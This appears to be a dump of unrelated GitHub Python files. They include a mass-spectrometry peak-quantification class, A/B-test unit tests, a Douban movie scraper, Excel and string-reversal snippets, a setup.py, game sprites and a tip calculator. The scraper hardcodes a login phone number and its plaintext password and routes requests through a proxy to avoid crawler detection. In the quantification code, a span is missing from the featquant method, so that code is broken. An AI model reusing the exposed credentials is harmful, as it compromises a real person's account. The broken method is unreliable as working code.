{'std': {'FUNCTION 28': '5-HIAA-D5'}, 'analyte': {'FUNCTION 26': '5-HIAA'}},\n 'a11': {'std': {'FUNCTION 35': 'Tryptophan-d5'}, 'analyte': {'FUNCTION 30': 'Tryptophan'}},\n 'a12': {'std': {'FUNCTION 33': 'Xanthurenic acid-D4'}, 'analyte': {'FUNCTION 31': 'Xanthurenic acid'}},\n 'a13': {'std': {'FUNCTION 36': 'Kynurenine-D4'}, 'analyte': {'FUNCTION 32': 'Kynurenine'}},\n 'a14': {'std': {'FUNCTION 39': '3-HK 13C15N'}, 'analyte': {'FUNCTION 38': '3-HK'}},\n 'a15': {'std': {'FUNCTION 41': 'Neopterin-13C5'}, 'analyte': {'FUNCTION 40': 'Neopterin'}},\n 'a16': {'analyte': {'FUNCTION 3': '2-aminophenol'}},\n 'a17': {'analyte': {'FUNCTION 42': '3'}},\n 'a18': {'analyte': {'FUNCTION 16': '3-methoxy-p-tyramine'}},\n 'a19': {'analyte': {'FUNCTION 34': '4-hydroxyphenylacetylglycine'}},\n 'a20': {'analyte': {'FUNCTION 23': '5-ME_TRYT'}},\n 'a21': {'analyte': {'FUNCTION 37': '5-OH-tryptophan'}},\n 'a22': {'analyte': {'FUNCTION 21': '(-)-Epinephrine'}},\n 'a23': {'analyte': {'FUNCTION 29': 'L-Dopa'}},\n 'a24': {'analyte': {'FUNCTION 25': 'L-tryptophanol'}},\n 'a25': {'analyte': {'FUNCTION 43': 'N-acetyl-L-tyrosine'}},\n 'a26': {'analyte': {'FUNCTION 24': 'N-methylseotonin'}},\n 'a27': {'analyte': {'FUNCTION 1': 'Trimethylamine'}},\n 'a28': {'analyte': {'FUNCTION 2': 'Trimethylamine-N-oxide'}},\n 'a29': {'analyte': {'FUNCTION 7': 'Tyramine'}},\n }\n self.qs = {}\n\n @staticmethod\n def smooth(y, wlen=21):\n ys = ssig.savgol_filter(y, wlen, 3)\n return ys\n\n @staticmethod\n def blcor(y, rety=True):\n import pybaselines as bll\n ybl = bll.morphological.mor(y, half_window=100)[0]\n if rety:\n return y - ybl\n else:\n return ybl\n\n @staticmethod\n def decon1(x, y, peaks, hh):\n def cost(params):\n n = round(len(params) / 4)\n est = np.zeros_like(x)\n for i in range(1, n + 1):\n pi = params[(i * 4 - 4):(i * 4)]\n est += g(x, *pi)\n return np.sum(np.power(est - y, 2)) / len(x)\n\n def g(x, A, a, µ, σ):\n yy = np.squeeze(st.skewnorm.pdf(x, a, µ, σ))\n return (yy / max(yy)) * A\n\n # gaussian peak shape (x, magnituded (max/40), mean and sd\n # return A / (σ * math.sqrt(2 * math.pi)) * np.exp(-(x - µ) ** 2 / (2 * σ ** 2))\n\n # def parameters: a, A, loc, scale (sqrt of fwhm)\n param = []\n bounds = []\n for i in range(len(peaks)):\n A = hh['peak_heights'][i]\n a = 2\n mu = x[peaks[i]]\n w = round(hh['widths'][i] / 2)\n w_right = min([peaks[i] + w, len(x)-1])\n w_left = max([peaks[i] - w, 0])\n sd = (x[w_right] - x[w_left]) / 2\n asc = (((sd * x[peaks[i]]) / a) if a != 0 else 0)\n lloc = mu\n p = [A, a, lloc, sd]\n param += p\n b = [(hh['peak_heights'][i] / 10, hh['peak_heights'][i]), (-10, 30),\n (max([lloc - (asc / 2), 0]), min([lloc, lloc + (asc / 2)])), (sd / 4, sd * 2)]\n bounds += b\n\n result = optimize.minimize(cost, param, bounds=bounds)\n\n psum = np.zeros_like(x)\n acomp = []\n comp = []\n yest = []\n for i in range(1, (len(param) // 4) + 1):\n p = result.x[(i * 4 - 4):(i * 4)]\n est = g(x, *p)\n yest.append(est)\n acomp.append(np.trapz(est))\n comp.append(est)\n psum += est\n return [result.success, (y-psum), acomp, psum, result.x, comp]\n\n def qFunction(self, fid, sir = None, plot=True, **kwargs):\n # height = 0.1, distance = 1, prominence = 1, width = 3, wlen = 27\n f = self.efun.funcs[fid]\n df = self.extractData(fid)\n\n if sir is not None:\n print(fid)\n print(f\"SIR {sir}: {f.reactions[str(sir)]}\")\n r = df['d'][int(sir)-1]\n l = int(sir)\n qsf = self.featquant(r[1], r[2], fid, l, **kwargs)\n if plot:\n self.featplot(qsf)\n if fid not in self.qs:\n self.qs[fid] = {}\n self.qs[fid].update({l: qsf})\n\n else:\n print(fid)\n qsf = {}\n for l, r in enumerate(df['d']):\n print(f\"SIR {l}: {f.reactions[str(l+1)]}\")\n qsf[l] = self.featquant(r[1], r[2], fid, l, **kwargs)\n if plot and isinstance(qsf[l], list):\n self.featplot(qsf[l])\n self.qs[fid] = qsf\n\n # run ppick over all functions, record residuals and\n def q(self, plot=True, **kwargs):\n # height = 0.1, distance = 1, prominence = 0.1, width = 3, wlen = 17\n # height = 0.1, distance = 1, prominence = 0.1, width = 3,\n kwargs = dict(height=0.1, distance=10, prominence=1, width=7, wlen=9, rel_height=0.7)\n qsf = {}\n for i, f in enumerate(self.efun.funcs.keys()):\n try:\n qsf[f] = {}\n df = self.extractData(f)\n print(f)\n for l, r in enumerate(df['d']):\n print(f\"SIR {l + 1}: {self.efun.funcs[f].reactions[str(l + 1)]}\")\n qsf[f][l] = self.featquant(r[1], r[2], f, l, **kwargs)\n if plot and isinstance(qsf[f][l], list):\n self.featplot(qsf[f][l])\n except:\n pass\n self.qs = qsf\n\n def extractData(self, fid):\n ff = self.efun.funcs[fid]\n iid = fid.replace('FUNCTION ', '')\n p = '1P' if ff.polarity == 'Positive' else '1N'\n sub = self.dfd[p][self.dfd[p]['fid'] == str(iid)]\n React = list(self.efun.funcs['FUNCTION ' + str(iid)].reactions)\n nReact = len(React)\n\n # xd = self.xrawd[p][:, self.xrawd[p][0] == float(sub.fid.values[0])]\n ret = {'d': [], 'm': []}\n for i in range(nReact):\n sidx = sub['index'].iloc[i]\n ret['d'].append(self.xrawd[p][:, self.xrawd[p][0] == float(sidx)])\n ret['m'].append(sub.iloc[i])\n return ret\n\n def featplot(self, ff):\n # rec = {'x': x, 'yo': yo, 'ys': ys, 'bl': baseline, 'peaks': peaks, 'hh': hh, 'ithresh': ithresh} # ybl\n fig, axs = plt.subplots(3, 1, sharex=True, gridspec_kw={'height_ratios': [1, 1, 0.4]})\n try:\n name = f'{self.fname} ({\", \".join([self.edf[\"Bottle Number\"], self.edf[\"Sample Description\"]])})'\n except:\n name = self.fname\n axs[2].text(1.03, 0, name, rotation=90, fontsize=6, transform=axs[2].transAxes)\n pso = -(0.2 * max(ff[0]['yo']))\n pso_up = -(0.1 * max(ff[0]['yo']))\n pso_low = -(0.3 * max(ff[0]['yo']))\n\n axs[0].fill_between(x=ff[0]['x'], y1=ff[0]['yo'], color='white', alpha=1, zorder=10)\n axs[0].plot(ff[0]['x'], ff[0]['yo'], c='black', label='ori', zorder=11)\n axs[0].plot(ff[0]['x'], ff[0]['ys'], label='sm', c='gray', linewidth=1, zorder=11)\n axs[0].plot(ff[0]['x'], ff[0]['ybl'], label='sm-bl', c='cyan', linewidth=1, zorder=11)\n axs[0].hlines(0.1, ff[0]['x'][0], ff[0]['x'][-1], color='gray', linewidth=1, linestyle='dashed', zorder=0)\n axs[0].vlines(ff[0]['x'][ff[0]['hh']['left_bases']], pso_low, pso_up, color='gray', zorder=11)\n axs[0].vlines(ff[0]['x'][ff[0]['hh']['right_bases']], pso_low, pso_up, color='gray', zorder=11)\n axs[0].vlines(ff[0]['x'][ff[0]['hh']['left_ips']], 0, ff[0]['hh']['width_heights'], color='gray', linewidth=1, linestyle='dotted', zorder=11)\n axs[0].vlines(ff[0]['x'][ff[0]['hh']['right_ips']], 0, ff[0]['hh']['width_heights'], color='gray', linewidth=1, linestyle='dotted', zorder=11)\n\n # axs[0].scatter(x[peaks], hh['peak_heights'], c='red')\n lyo = len(ff[0]['x'])\n cols = plt.get_cmap('Set1').colors\n ci = 0\n for pi, p in enumerate(ff[0]['peaks']):\n axs[0].annotate(round(ff[0]['hh']['prominences'][pi], 1), (ff[0]['x'][p], ff[0]['hh']['peak_heights'][pi]), textcoords='offset pixels', xytext=(-4, 10), rotation=90, zorder=12)\n peak_width = round(ff[0]['hh']['widths'][pi] / 2)\n idx_left = max([0, p - peak_width])\n idx_right = min([lyo - 1, p + peak_width])\n axs[0].hlines(pso, ff[0]['x'][idx_left], ff[0]['x'][idx_right], color=cols[ci])\n\n axs[1].plot(ff[0]['x'], ff[0]['ycomps'][pi], color=cols[ci], linewidth=1)\n axs[1].fill_between(x=ff[0]['x'], y1=ff[0]['ycomps'][pi], color=cols[ci], alpha=0.4)\n ci += 1\n if ci >= len(cols):\n ci = 0\n axs[2].plot(ff[0]['x'], ff[0]['yo']-ff[0]['yest'], c='black')\n axs[0].scatter(ff[0]['x'][ff[0]['peaks']], np.repeat(pso, len(ff[0]['peaks'])), c='black', s=20)\n axs[0].scatter(ff[0]['x'][ff[0]['peaks']], np.repeat(pso, len(ff[0]['peaks'])), c='white', s=5, zorder=10)\n\n axs[1].plot(ff[0]['x'], ff[0]['yo'], c='black', label='ori')\n axs[1].plot(ff[0]['x'], np.sum(ff[0]['ycomps'], 0), label='psum', c='orange')\n axs[0].legend()\n plt.suptitle(f\"{ff[1][0]['fid']}.{ff[1][0]['sim']}\\n{self.efun.funcs[ff[1][0]['fid']].reactions[str(ff[1][0]['sim']+1)]}\")\n\n def featquant(self, x, y, fid, sim, wlen=21, ithresh=2e3, **kwargs):\n yo = y\n ys = self.smooth(y, wlen=wlen)\n ybl = self.blcor(ys)\n baseline = self.blcor(yo, rety=False)\n yo = yo - baseline\n\n if max(ybl) < ithresh:\n return ' 11 and p <= (lyo - 12)) and \\\n (hh['peak_heights'][i] > 0) and (hh['peak_heights'][i] > pro5max))]\n\n if len(idxp) == 0:\n return 'No peaks found'\n elif len(idxp) < len(peaks):\n h1 = {}\n [h1.update({k: dat[idxp]}) for k, dat in hh.items()]\n peaks = peaks[idxp]\n hh = h1\n\n hh['right_ips'] = np.array([i if i < len(yo) else len(yo) - 1 for i in hh['right_ips'].astype(int)])\n hh['left_ips'] = np.array([i if i >= 0 else 0 for i in hh['left_ips'].astype(int)])\n hh['right_bases'] = np.array([i if i < len(yo) else len(yo) - 1 for i in hh['right_bases'].astype(int)])\n hh['left_bases'] = np.array([i if i >= 0 else 0 for i in hh['left_bases'].astype(int)])\n\n succ, res, areas, yest, params, comp = self.decon1(x, yo, peaks, hh)\n # [result.success, np.sum((psum - y) ** 2), acomp, yest, result.x]\n rec = {'x': x, 'yo': yo, 'ys': ys, 'bl': baseline, 'ybl': ybl, 'peaks': peaks, 'hh': hh, 'ithresh': ithresh, 'yest': yest, 'ycomps': comp, 'yres': res, 'resNorm': sum(abs(res))/np.std(yo)}\n\n r = []\n for i, p in enumerate(peaks):\n A, a, mu, sig = params[(((i+1)*4)-4):((i+1)*4)]\n r.append({'fid': fid, 'sim': sim, 'pid': i, 'mu_pp': x[p], 'mu_decon': mu, 'a': a, 'sig': sig, 'A': A/s, 'prom': hh['prominences'][i], 'hmax': hh['width_heights']/s, 'fwhm': x[hh['right_ips'][i]] - x[hh['left_ips'][i]]})\n\n return [rec, r]\n\n\nclass Eset:\n @classmethod\n def imp(cls, dpath='/Users/torbenkimhofer/tdata_trp/', epath='/Users/torbenkimhofer/Desktop/Torben19Aug.exp', regex='', n_max=600, alwaysConvert=False):\n ef = ReadExpPars(epath)\n df = {}\n exp = []\n c = 0\n for d in os.listdir(dpath):\n if c > n_max:\n break\n if bool(re.findall(\".*raw$\", d)) and bool(re.findall(regex, d)):\n # print(d)\n\n efile = TrpExp.waters(os.path.join(dpath, d), efun=ef, convert=alwaysConvert)\n kwargs = dict(height=0.1, distance=10, prominence=1, width=7, wlen=9, rel_height=0.7)\n efile.q(**kwargs, plot=False)\n exp.append(efile)\n df.update(\n {efile.fname: {'nfun': {k: len(x.fid) for k, x in efile.dfd.items()}, 'dt': efile.aDt}})\n fmm8 = os.path.join(dpath, d, 'mm8_quantv3.p')\n try:\n pickle.dump(efile, open(fmm8, 'wb'), -1)\n except:\n print('Can\\'t write binary')\n c += 1\n print(c)\n return cls(exp, ef, df)\n\n @classmethod\n def importbinary(cls, dpath='/Users/torbenkimhofer/tdata_trp/', epath='/Users/torbenkimhofer/Desktop/Torben19Aug.exp', pat='2022_URN_LTR_[0-9]', n=10):\n ef = ReadExpPars(epath)\n df = {}\n exp = []\n c = 0\n for d in os.listdir(dpath):\n if c > n:\n break\n fmm8 = os.path.join(dpath, d, 'mm8_quantv3.p')\n if bool(re.findall(pat, d)) and os.path.exists(fmm8):\n with open(fmm8, 'rb') as fh:\n efile=pickle.load(fh)\n exp.append(efile)\n df.update(\n {efile.fname: {'nfun': {k: len(x.fid) for k, x in efile.dfd.items()}, 'dt': efile.aDt}})\n c += 1\n print(c)\n return cls(exp, ef, df)\n\n def __init__(self, expData, expFData, dfData):\n self.exp = expData\n self.ef = expFData\n self.df = dfData\n\n def cat(self, x):\n if bool(re.findall('22_DB_[0-9].*', x)):\n return 'DB'\n elif bool(re.findall('22_Cal[0-9]_[0-9].*', x)):\n return x.split('_')[-2]\n elif bool(re.findall('22_PLA_unhealthy_[0-9].*', x)):\n return 's1P'\n elif bool(re.findall('22_SER_unhealthy_[0-9].*', x)):\n return 's1S'\n elif bool(re.findall('22_URN_unhealthy_[0-9].*', x)):\n return 's1U'\n elif bool(re.findall('22_PLA_healthy_[0-9].*', x)):\n return 's0P'\n elif bool(re.findall('22_SER_healthy_[0-9].*', x)):\n return 's0S'\n elif bool(re.findall('22_URN_healthy_[0-9].*', x)):\n return 's0U'\n elif bool(re.findall('22_PLA_LTR_[0-9].*', x)):\n return 'rP'\n elif bool(re.findall('22_SER_LTR_[0-9].*', x)):\n return 'rS'\n elif bool(re.findall('22_URN_LTR_[0-9].*', x)):\n return 'rU'\n elif bool(re.findall('22_PLA_unhealthy_Cal[0-9]_[0-9].*', x)):\n return 's1P_' + x.split('_')[-2]\n elif bool(re.findall('22_SER_unhealthy_Cal[0-9]_[0-9].*', x)):\n return 's1S_' + x.split('_')[-2]\n elif bool(re.findall('22_URN_unhealthy_Cal[0-9]_[0-9].*', x)):\n return 's1U_' + x.split('_')[-2]\n elif bool(re.findall('22_PLA_healthy_Cal[0-9]_[0-9].*', x)):\n return 's0P_' + x.split('_')[-2]\n elif bool(re.findall('22_SER_healthy_Cal[0-9]_[0-9].*', x)):\n return 's0S_' + x.split('_')[-2]\n elif bool(re.findall('22_URN_healthy_Cal[0-9]_[0-9].*', x)):\n return 's0U_' + x.split('_')[-2]\n\n elif bool(re.findall('22_PLA_LTR_Cal[0-9]_[0-9].*', x)):\n return 'rP_' + x.split('_')[-2]\n elif bool(re.findall('22_SER_LTR_Cal[0-9]_[0-9].*', x)):\n return 'rS_' + x.split('_')[-2]\n elif bool(re.findall('22_URN_LTR_Cal[0-9]_[0-9].*', x)):\n return 'rU_' + x.split('_')[-2]\n else:\n return 'unassigned'\n\n def createMetaDf(self, test):\n nam = [x.fname for x in test.exp]\n cats = [self.cat(x.fname) for x in test.exp]\n df = pd.DataFrame({'cats': cats, 'nam': nam})\n df['cats'].value_counts()\n rep = df[df['cats'] == '2']['nam'].str.split('_').str[-3]\n df.loc[df['cats'] == '2', 'cats'] = rep\n df['dt'] = [x.aDt for x in test.exp]\n\n add = ['Average System Pressure', 'Minimum System Pressure', 'Maximum System Pressure',\n 'Total Injections on Column', 'Sample Description', 'Bottle Number']\n\n meta = pd.DataFrame([x.edf for x in test.exp])\n df1 = pd.concat([df, meta[add]], axis=1)\n df1['ind'] = np.arange(df1.shape[0])\n df1 = df1.sort_values('dt')\n\n return df1\n","repo_name":"tkimhofer/trp_tq","sub_path":"ClassDefs.py","file_name":"ClassDefs.py","file_ext":"py","file_size_in_byte":32231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42111771884","text":"\"\"\"Testing file comprising Frequentist & Bayesian A/B Testing methods.\"\"\"\n\nimport unittest\nfrom pyab.experiments import ABTestFrequentist, ABTestBayesian\n\nclass TestClass(unittest.TestCase):\n \"\"\"\n A/B Testing unittest Class.\n \"\"\"\n\n def test_t_test(self):\n exp_freq = ABTestFrequentist()\n exp_freq.conduct_experiment(1,10,2,10)\n self.assertEqual(True, exp_freq.is_t_test)\n\n def test_norm_test(self):\n exp_freq = ABTestFrequentist()\n exp_freq.conduct_experiment(1,100,2,100)\n self.assertEqual(False, exp_freq.is_t_test)\n\n def test_one_tailed(self):\n exp = ABTestFrequentist(alpha=0.05, alt_hypothesis='one_tailed')\n stat, pvalue = exp.conduct_experiment(100,1000,125,1000)\n\n self.assertAlmostEqual(stat, 1.77, 2)\n self.assertAlmostEqual(pvalue, 0.038, 2)\n\n def test_two_tailed(self):\n exp = ABTestFrequentist(alpha=0.05, alt_hypothesis='two_tailed')\n stat, pvalue = exp.conduct_experiment(100,1000,125,1000)\n\n self.assertAlmostEqual(stat, 1.77, 2)\n self.assertAlmostEqual(pvalue, 0.077, 2)\n\n def test_power(self):\n exp = ABTestFrequentist(alpha=0.05, alt_hypothesis='two_tailed')\n exp.conduct_experiment(100,1000,125,1000)\n\n self.assertAlmostEqual(1-exp.beta, 0.424372, 2)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"AdiVarma27/pyAB","sub_path":"pyab/tests/test_pyab.py","file_name":"test_pyab.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"}
+{"seq_id":"18449681840","text":"#! -*-coding: utf-8 -*-\n\n'''\n获取对应剧情 总页码数 每页20条\n获取 100-90的 总页码数 用于分页处理 get 请求\nurl = https://movie.douban.com/j/chart/top_list_count?type=11&interval_id=100%3A90\nparam = {\n type:11,\n interval_id:'100:90'\n}\n\n分页url数据\nurl = 'https://movie.douban.com/j/chart/top_list?type=11&interval_id=100%3A90&action=&start=0&limit=20'\n\nparams = {\n type: 11\n interval_id: 100:90\n action:\n start: 0\n limit: 20\n}\n\n'''\nimport requests\nimport time\nimport json\nimport re\nfrom bs4 import BeautifulSoup\nfrom lxml import etree\n\nsession = requests.session()\n#1.发起登录请求:将cookie获取,切存储到session对象中\nlogin_url = 'https://accounts.douban.com/login'\ndata = {\n \"source\": \"None\",\n \"redir\": \"https://movie.douban.com/typerank?type_name=%E5%89%A7%E6%83%85&type=11&interval_id=100:90&action=\",\n \"form_email\": \"15027900535\",\n \"form_password\": \"bobo@15027900535\",\n \"login\": \"登录\",\n}\nheaders={\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',\n}\n#使用session发起post请求\nlogin_response = session.post(url=login_url,data=data,headers=headers)\n\n#2.对电影排行榜-->剧情分类>子页面 发起请求(session(cookie)),获取响应页面数据\nurl = 'https://movie.douban.com/typerank?type_name=%E5%89%A7%E6%83%85&type=11&interval_id=100:90&action='\n\n#3.将代理ip封装到字典\nproxy = {\n 'http':'77.73.69.120:3128',\n # 'http':'125.39.9.34:9000',\n # 'http':'106.75.14.190:9998',\n # 'http':'117.169.38.56:80',\n # 'http':'121.69.42.82' # 本机\n}\n\n\n'''\nresponse = session.get(url=url,proxies=proxy,headers=headers)\npage_text = response.text\n'''\n\n# 上面的url 实际没啥用 就是空页码结构\n'''\n实际的情况是 到这个剧情子页码的时候发送两个请求\n第一个请求获取该类型 100-90的总条数total\n\n第二个是分页数据 的第一页\n\n以后下拉加载 对应分页数据\n'''\ntotalUrl = 'https://movie.douban.com/j/chart/top_list_count/'\n\nparams = {\n 'type':'11',\n 'interval_id':'100:90'\n}\nresponse = session.get(url=totalUrl,params=params,proxies=proxy,headers=headers)\n\nres = json.loads(response.text)\n\ntotal = res.get('total',0)\ntotal = 20\n# 电影列表 容器\navi_list = []\nif total > 0:\n fp = open('json_array.json', 'w')\n # 分页请求url\n pageUrl = 'https://movie.douban.com/j/chart/top_list/'\n # 豆瓣的规则是每页 20条\n # 所有我们只要处理 页码就行了\n pageSize = 20\n maxPage = total//pageSize\n curPage = 0\n\n\n\n detailUrls = [];\n for i in range(total):\n print(i)\n params2 = {\n 'type': '11',\n 'interval_id':'100:90',\n 'action':'',\n 'start': i,\n 'limit': 20\n }\n # 1秒20条 防止被认为是爬虫\n # time.sleep(1)\n response = session.get(url=pageUrl, params=params2, proxies=proxy, headers=headers)\n\n # 每次请求里面是20部电影的简要信息\n '''\n 一部电影数据如下,这里唯独没有导演和编剧 所以我们在详情页 在拿所有需要的数据这里只要详情页的地址url\n 海报url、cover_url\n 电影名称、title\n 导演、\n 编剧、\n 主演,actors\n 类型,\n 语言,\n 上映日期,\n 片长,\n 豆瓣评分 score\n [{\n \"rating\": [\"9.2\", \"45\"],\n \"rank\": 21,\n \"cover_url\": \"https://img3.doubanio.com\\/view\\/photo\\/s_ratio_poster\\/public\\/p579729551.jpg\",\n \"is_playable\": false,\n \"id\": \"3793023\",\n \"types\": [\"剧情\", \"喜剧\", \"爱情\", \"歌舞\"],\n \"regions\": [\"印度\"],\n \"title\": \"三傻大闹宝莱坞\",\n \"url\": \"https:\\/\\/movie.douban.com\\/subject\\/3793023\\/\",\n \"release_date\": \"2011-12-08\",\n \"actor_count\": 8,\n \"vote_count\": 869683,\n \"score\": \"9.2\",\n \"actors\": [\"阿米尔·汗\", \"卡琳娜·卡普尔\", \"马达范\", \"沙尔曼·乔希\", \"奥米·瓦依达\", \"博曼·伊拉尼\", \"莫娜·辛格\", \"拉杰夫·拉宾德拉纳特安\"],\n \"is_watched\": false\n }]\n '''\n resData = response.text;\n\n infoObj = json.loads(resData)\n\n for j in infoObj:\n detailUrls.append(j.get('url',''))\n\n # 详情的所有url\n print(detailUrls)\n # detailUrls = ['https://movie.douban.com/subject/1292052/']\n for item in detailUrls:\n response = session.get(url=item, proxies=proxy, headers=headers)\n content = response.text\n '''\n 海报url、\n 电影名称\n 导演、\n 编剧、\n 主演,actors\n 类型,\n 语言,\n 上映日期,\n 片长,\n 豆瓣评分 score\n '''\n #\n tree = etree.HTML(content)\n img_url = tree.xpath('//div[@id=\"mainpic\"]/a/img/@src')\n title = tree.xpath('//div[@id=\"content\"]/h1/span[1]/text()')\n daoyan = tree.xpath('//div[@id=\"info\"]/span[1]/span[2]/a/text()')\n bianju = tree.xpath('//div[@id=\"info\"]/span[2]/span[2]/a//text()')\n zhuyan = tree.xpath('//div[@id=\"info\"]/span[3]/span[2]/a//text()')\n leixing = tree.xpath('//div[@id=\"info\"]/span[@property=\"v:genre\"]//text()')\n # 语言没有对应的 属性 只有一个 text节点 无法定位\n # yuyan = tree.xpath('//div[@id=\"info\"]/span[@class=\"pl\"][3]/text()')\n\n shangyingriqi = tree.xpath('//div[@id=\"info\"]/span[@property=\"v:initialReleaseDate\"]/text()')\n pianchang = tree.xpath('//div[@id=\"info\"]/span[@property=\"v:runtime\"]/text()')\n pingfen = tree.xpath('//div[@id=\"interest_sectl\"]//strong[@property=\"v:average\"]/text()')\n\n print(img_url)\n print(bianju)\n print(title)\n print(daoyan)\n print(zhuyan)\n print(leixing)\n print(shangyingriqi)\n print(pianchang)\n print(pingfen)\n\n avi_list.append({\n \"img_url\":img_url,\n \"title\":title,\n \"daoyan\":daoyan,\n \"bianju\":bianju,\n \"zhuyan\":zhuyan,\n \"leixing\":leixing,\n \"shangyingriqi\":shangyingriqi,\n \"pianchang\":pianchang,\n \"pingfen\":pingfen\n })\n\n\njson.dump(avi_list, fp)\n\nfp.close()\nprint('爬取结束')\n\n\n\n","repo_name":"slTrust/reptile","sub_path":"new001/douban/work003分析100_90内的数据.py","file_name":"work003分析100_90内的数据.py","file_ext":"py","file_size_in_byte":6468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38156855874","text":"import openpyxl\nimport os\n\nfile_path = os.getcwd()+\"/FileData/ExecelSampleFile1.xlsx\"\nwb = openpyxl.Workbook()\nsheet = wb.active\n\n# Write in a Specific Cell\n'''\nsheet[\"A1\"] = \"Hello\"\nsheet[\"E7\"] = \"Team\"\nsheet.cell(row=3, column=3).value = 1000\n'''\n\n# Write multiple Columns and Rows\ndata = (\n (\"EMPLOYEE NAME\", \"DEPARTMENT\", \"BRANCH\", \"RANK\"),\n (\"Andrew\", \"Forensic\", \"New York\", 5),\n (\"Mark\", \"Food\", \"Tokyo\", 2),\n (\"Julia\", \"Forensic\", \"New York\", 2),\n (\"Stephen\", \"Legal\", \"LA\", 1),\n (\"Bharat\", \"Food\", \"Tokyo\", 2),\n (100, 23, 4543, 32, 43, 44)\n)\n\nfor row in data:\n sheet.append(row)\n\nwb.save(file_path)\n","repo_name":"anshulc55/selenium-python","sub_path":"PythonBasics/ReadWriteExcel/WriteExcelFile.py","file_name":"WriteExcelFile.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"20136844332","text":"from typing import List\n\n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n \"\"\"\n Idea:\n First, trim the string so that there is no extra \" \"\n Second, reverse the res string\n Last, reverse each words\n \"\"\"\n res = []\n for i in range(len(s)):\n if s[i] != \" \":\n res.append(s[i])\n else:\n if i != len(s) - 1 and res and res[-1] != \" \":\n res.append(\" \")\n while res[-1] == \" \":\n res.pop()\n # reverse the string\n self.reverse(res, 0, len(res) - 1)\n\n # reverse each word\n left = 0\n for right in range(len(res)):\n if res[right] == \" \":\n self.reverse(res, left, right - 1)\n left = right + 1\n\n # reverse the last word\n self.reverse(res, left, len(res) - 1)\n\n return \"\".join(res)\n\n def reverse(self, s_list: List[str], start: int, end: int) -> None:\n while start < end:\n s_list[start], s_list[end] = s_list[end], s_list[start]\n start += 1\n end -= 1\n\n\nif __name__ == '__main__':\n sol = Solution()\n s = \" hello world \"\n print(sol.reverseWords(s))\n","repo_name":"Rocky-Zhenxiang-Fang/LeetCode","sub_path":"151. Reverse Words in a String.py","file_name":"151. Reverse Words in a String.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23138959720","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nversion = \"0.2.0\"\n\nif sys.argv[-1] == 'publish':\n try:\n import wheel\n except ImportError:\n print('Wheel library missing. Please run \"pip install wheel\"')\n sys.exit()\n os.system('python setup.py sdist upload')\n os.system('python setup.py bdist_wheel upload')\n sys.exit()\n\nif sys.argv[-1] == 'tag':\n print(\"Tagging the version on github:\")\n os.system(\"git tag -a %s -m 'version %s'\" % (version, version))\n os.system(\"git push --tags\")\n sys.exit()\n\nreadme = open('README.rst').read()\nhistory = open('HISTORY.rst').read().replace('.. :changelog:', '')\n\nsetup(\n name='dj-ango',\n version=version,\n description=\"\"\"Simplifying the import structure of Django.\"\"\",\n long_description=readme + '\\n\\n' + history,\n author='Daniel Roy Greenfeld',\n author_email='pydanny@gmail.com',\n url='https://github.com/pydanny/dj-ango',\n packages=[\n 'ango',\n ],\n include_package_data=True,\n install_requires=[\n ],\n license=\"BSD\",\n zip_safe=False,\n keywords='dj-ango',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Framework :: Django',\n 'Framework :: Django :: 1.8',\n 'Framework :: Django :: 1.9',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n ],\n)\n","repo_name":"pydanny/dj-ango","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"78"}
+{"seq_id":"35259561646","text":"\"\"\"\nUsed for creating the level\n\"\"\"\n\nfrom ..constants import *\n\n\nclass Ground(arcade.Sprite):\n def __init__(self):\n super().__init__(\n filename=LEVELS_DIR / \"flat_ground.png\",\n hit_box_algorithm=\"Detailed\",\n hit_box_detail=1.0,\n )\n self.center_x = SCREEN_WIDTH / 2\n self.center_y = SCREEN_HEIGHT / 2\n self.add_spatial_hashes()\n\n\nclass LandingPad(arcade.Sprite):\n def __init__(self):\n super().__init__(\n filename=LEVELS_DIR / \"landing_pad.png\", hit_box_algorithm=\"Detailed\"\n )\n","repo_name":"Anonymous4045/escape-velocity","sub_path":"escape_velocity/sprites/level_sprites.py","file_name":"level_sprites.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"42086254479","text":"#Home work 2\n\nuser_input=input(\"Please enter the charge for the food: \\n\")\n\nprice1=float(user_input)\n\ntax_rate=0.07\n\ntip=0.18\n\nsubtotal=price1\n\ntax_amount=subtotal*tax_rate\n\ntip_amount=subtotal*tip\n\ntotal=subtotal+tax_amount+tip_amount\n\n\n\nprint(\"Subtotal:\\t$\",format(subtotal, \"8,.2f\"),sep='')\nprint(\"Tax(7.00%):\\t$\",format(tax_amount,\"8.2f\"),sep='')\nprint(\"Tip(18.00%):\\t$\",format(tip_amount,\"8.2f\"),sep='')\nprint('============','=========',sep=' ')\nprint(\"Total:\\t\\t$\",format(total,\"8.2f\"),sep='')\n","repo_name":"Parad0xF/Python","sub_path":"HW2.py","file_name":"HW2.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
